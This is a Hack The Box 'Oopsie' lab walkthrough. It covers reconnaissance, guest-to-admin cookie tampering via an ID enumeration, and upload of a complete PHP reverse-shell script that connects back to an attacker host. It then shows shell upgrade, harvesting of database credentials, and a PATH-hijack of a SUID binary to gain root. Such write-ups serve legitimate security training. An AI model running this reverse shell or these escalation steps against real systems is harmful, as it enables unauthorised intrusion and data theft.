First, let's scan for open ports (exchange ip with the machines IP address):
sudo nmap -sV ip
The relevant output is:
PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
On the website (put the IP address into your browser) it says, that we need to login to get access to the service. Let's use Burp Suite to crawl/spider the website and find out the login url. On Kali Linux, Burp Suite may be started with:
burpsuite
Then in a browser, Firefox in my case, under Network Settings, add the "Manual proxy configuration":
HTTP Proxy 127.0.0.1 Port 8080 + Set a check for "Also use the proxy for HTTPS
Then in Burp Suite, navigate to the "Proxy" tab and enable "Intercept", so the button says "Intercept is on". Now, just refresh the browser and Burp Suite should have gathered some information.
Navigate to the "Target" tab and on the left hand side, open the dropdown with http://ip.
From there we can find the login page and build the login url: http://ip/cdn-cgi/login
If the website is not responding anymore, that's because Burp Suite intercepted the request(s) and you need to click "Forward" or disable intercepting.
How cool, there is a "Login as Guest". When navigating, we see that "Uploads" needs super admin rights, so we need to escalate our role from guest to super admin. Let's see if there is a cookie that we can modify. In Firefox, press F12 to open the devtools console. Then select the "Storage" tab and see under the Cookies dropdown, there is a cookie:
role guest user 2233
When navigating to "Account" on the guest login website, we can see the url:
http://ip/cdn-cgi/login/admin.php?content=accounts&id=2
If we change the last part to id=1, we get this content shown:
Access ID Name Email 34322 admin admin@megacorp.com
Let's modify the cookie in the browser devtools, with those values. So it is now:
role admin user 34322
Then head back to the "Uploads" page in the browser. We can now see an HTML form with the option to upload files.
Now we will try to get a reverse shell with PHP. There are existing scripts, ready to use. We need php/php-reverse-shell.php, which we will modify (IP address and port). You can find the original one here: https://github.com/BlackArch/webshells/blob/master/php/php-reverse-shell.php
Our modified PHP script is this one and we will save it in ~/temp/php-reverse-shell.php (make sure you change the $ip variable):
<?php // php-reverse-shell - A Reverse Shell implementation in PHP // Copyright (C) 2007 pentestmonkey@pentestmonkey.net // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. The author accepts no liability // for damage caused by this tool. If these terms are not acceptable to you, then // do not use this tool. // // In all other respects the GPL version 2 applies: // // This program is free software; you can redistribute it and/or modify // it under the terms of the GNU General Public License version 2 as // published by the Free Software Foundation. // // This program is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License along // with this program; if not, write to the Free Software Foundation, Inc., // 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. // // This tool may be used for legal purposes only. Users take full responsibility // for any actions performed using this tool. If these terms are not acceptable to // you, then do not use this tool. // // You are encouraged to send comments, improvements or suggestions to // me at pentestmonkey@pentestmonkey.net // // Description // ----------- // This script will make an outbound TCP connection to a hardcoded IP and port. // The recipient will be given a shell running as the current user (apache normally). // // Limitations // ----------- // proc_open and stream_set_blocking require PHP version 4.3+, or 5+ // Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows. // Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available. // // Usage // ----- // See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.set_time_limit (0); $VERSION = "1.0"; $ip = 'ip'; // CHANGE THIS $port = 1234; // CHANGE THIS $chunk_size = 1400; $write_a = null; $error_a = null; $shell = 'uname -a; w; id; /bin/sh -i'; $daemon = 0; $debug = 0;
// // Daemonise ourself if possible to avoid zombies later //
// pcntl_fork is hardly ever available, but will allow us to daemonise // our php process and avoid zombies. Worth a try... if (function_exists('pcntl_fork')) { // Fork and have the parent process exit $pid = pcntl_fork();
if ($pid == -1) { printit("ERROR: Can't fork"); exit(1); }
if ($pid) { exit(0); // Parent exits }
// Make the current process a session leader // Will only succeed if we forked if (posix_setsid() == -1) { printit("Error: Can't setsid()"); exit(1); }
$daemon = 1; } else { printit("WARNING: Failed to daemonise. This is quite common and not fatal."); }
// Change to a safe directory chdir("/");
// Remove any umask we inherited umask(0);
// // Do the reverse shell... //
// Open reverse connection $sock = fsockopen($ip, $port, $errno, $errstr, 30); if (!$sock) { printit("$errstr ($errno)"); exit(1); }
// Spawn shell process $descriptorspec = array( 0 => array("pipe", "r"), // stdin is a pipe that the child will read from 1 => array("pipe", "w"), // stdout is a pipe that the child will write to 2 => array("pipe", "w") // stderr is a pipe that the child will write to );
$process = proc_open($shell, $descriptorspec, $pipes);
if (!is_resource($process)) { printit("ERROR: Can't spawn shell"); exit(1); }
// Set everything to non-blocking // Reason: Occsionally reads will block, even though stream_select tells us they won't stream_set_blocking($pipes[0], 0); stream_set_blocking($pipes[1], 0); stream_set_blocking($pipes[2], 0); stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) { // Check for end of TCP connection if (feof($sock)) { printit("ERROR: Shell connection terminated"); break; }
// Check for end of STDOUT if (feof($pipes[1])) { printit("ERROR: Shell process terminated"); break; }
// Wait until a command is end down $sock, or some // command output is available on STDOUT or STDERR $read_a = array($sock, $pipes[1], $pipes[2]); $num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
// If we can read from the TCP socket, send // data to process's STDIN if (in_array($sock, $read_a)) { if ($debug) printit("SOCK READ"); $input = fread($sock, $chunk_size); if ($debug) printit("SOCK: $input"); fwrite($pipes[0], $input); }
// If we can read from the process's STDOUT // send data down tcp connection if (in_array($pipes[1], $read_a)) { if ($debug) printit("STDOUT READ"); $input = fread($pipes[1], $chunk_size); if ($debug) printit("STDOUT: $input"); fwrite($sock, $input); }
// If we can read from the process's STDERR // send data down tcp connection if (in_array($pipes[2], $read_a)) { if ($debug) printit("STDERR READ"); $input = fread($pipes[2], $chunk_size); if ($debug) printit("STDERR: $input"); fwrite($sock, $input); } }
fclose($sock); fclose($pipes[0]); fclose($pipes[1]); fclose($pipes[2]); proc_close($process);
// Like print, but does nothing if we've daemonised ourself // (I can't figure out how to redirect STDOUT like a proper daemon) function printit ($string) { if (!$daemon) { print "$string\n"; } }
?>
Now, let's upload the script to the website via the upload form. Should be a success! I had to try different VPN options to get it working. Since this is often an issue for me when playing Hack the Box, I want to mention the three options here briefly:
Option 1: Running this command in a terminal.
sudo openvpn Downloads/starting_point_username.ovpn
It mostly works well, but when trying to upload the reverse shell, I got
2023-05-26 03:10:59 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101) 2023-05-26 03:10:59 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101) 2023-05-26 03:10:59 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101) 2023-05-26 03:11:00 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101) 2023-05-26 03:11:02 read UDPv4 [ENETUNREACH]: Network is unreachable (fd=3,code=101)
Option 2: Starting the VPN via VPN Connections/Configure VPN/Import a saved VPN configuration, and then select the "starting_point_username.ovpn" file. It does connect, but the shell upload also fails.
Option 3: Running the OpenVPN GUI on the windows machine, my virtual Kali machine runs on. This finally allowed me to upload the reverse shell!
But where did the script get uploaded to? Let's bruteforce the directories with Gobuster to try locating our file.
gobuster dir --url http://ip/ --wordlist /usr/share/wordlists/dirbuster/directory-list-2.3-small.txt -x php
The directory "/uploads" seems like a logical place to find our file, but "Status: 301" means, that we don't have permission to access this resource. But maybe we can still open our uploaded script.
First, we need to setup Netcat in a terminal (the port needs to match the $port in the .php script):
ncat -lvnp 1234
Expected output:
Ncat: Version 7.93 ( https://nmap.org/ncat ) Ncat: Listening on :::1234 Ncat: Listening on 0.0.0.0:1234
So now, when we visit the url
http://ip//uploads/php-reverse-shell.php
Netcat should receive the connection:
Ncat: Connection from 10.129.78.218. Ncat: Connection from 10.129.78.218:54288. Linux oopsie 4.15.0-76-generic #86-Ubuntu SMP Fri Jan 17 17:24:28 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux 07:12:26 up 9 min, 0 users, load average: 0.00, 0.03, 0.03 USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT uid=33(www-data) gid=33(www-data) groups=33(www-data) /bin/sh: 0: can't access tty; job control turned off
To get a properly working shell, we can run
python3 -c 'import pty;pty.spawn("/bin/bash")'
Now we have restricted access to the server and can navigate through the directories. Let's navigate to
/var/www/html/cdn-cgi/login
Here we find a few files:
admin.php db.php index.php script.js
db.php looks interesting. Let's see the content:
cat db.php
Output:
<?php $conn = mysqli_connect('localhost','robert','M3g4C0rpUs3r!','garage'); ?>
Let's try to log in as robert with this credentials (robert, M3g4C0rpUs3r!):
su robert Password: M3g4C0rpUs3r!
Success! Let's navigate around. In robert's root directory, we find an user.txt file, which contains the user flag!
cd ~ cat user.txt
Nice to know:
If that would not have worked, here is another way to search for passwords within files:
cat * | grep -i passw*
Output:
if($_POST["username"]==="admin" && $_POST["password"]==="MEGACORP_4dm1n!!") <input type="password" name="password" placeholder="Password" />
We got another password: MEGACORP_4dm1n!!
To see all users of this system, run
cat /etc/passwd
There is an user called "robert", Let's try to login:
su robert Password: MEGACORP_4dm1n!!
But in this case, it is the wrong password and we were successful already above.
Now, we are still not root. Let's try the two passwords we have gathered:
sudo -l Password: M3g4C0rpUs3r! Sorry, user robert may not run sudo on oopsie. sudo -l Password: MEGACORP_4dm1n!! su: Authentication failure
Both do obiously not work. Let's try the other command for privilege elevation:
id
Output:
uid=1000(robert) gid=1000(robert) groups=1000(robert),1001(bugtracker)
Robert is part of the group bugtracker, let's see if there is any binary in this group:
find / -group bugtracker 2>/dev/null
Output:
/usr/bin/bugtracker
That means, there is a file called bugtracker. Let's see more details and how the privileges are set:
ls -la /usr/bin/bugtracker && file /usr/bin/bugtracker
Output:
-rwsr-xr-- 1 root bugtracker 8792 Jan 25 2020 /usr/bin/bugtracker /usr/bin/bugtracker: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=b87543421344c400a95cbbe34bbc885698b52b8d, not stripped
We see a SUID (Set owner User ID), which could be possible to use for exploitation. Because a file with SUID will always execute as the user who owns it. It does not matter, which user fires the command. In case of the bugtracker file, it is owned by root, so we can execute it as root, because SUID is set.
cd /usr/bin bugtracker
Output:
------------------ : EV Bug Tracker :Provide Bug ID:
We will provide anything (123 in my case) and will see an output like this:
cat: /root/reports/123: No such file or directory
We learn that the bugtracker tool takes the user input and takes this as the name of the file that will be read with the cat command. Since it does not specify the whole path, we may be able to exploit this.
cd /tmp echo "/bin/sh" > cat chmod +x cat export PATH=/tmp:$PATH // set the environmental variable, so the command cat will trigger our created cat script
So, if we run bugtracker again and provide it any input:
bugtracker
The output is:
#
Out desired root shell! Now we can find the flag at /root. Don't forget that the cat command does not work anymore. We can use another command to output the flag:
cd /root head root.txt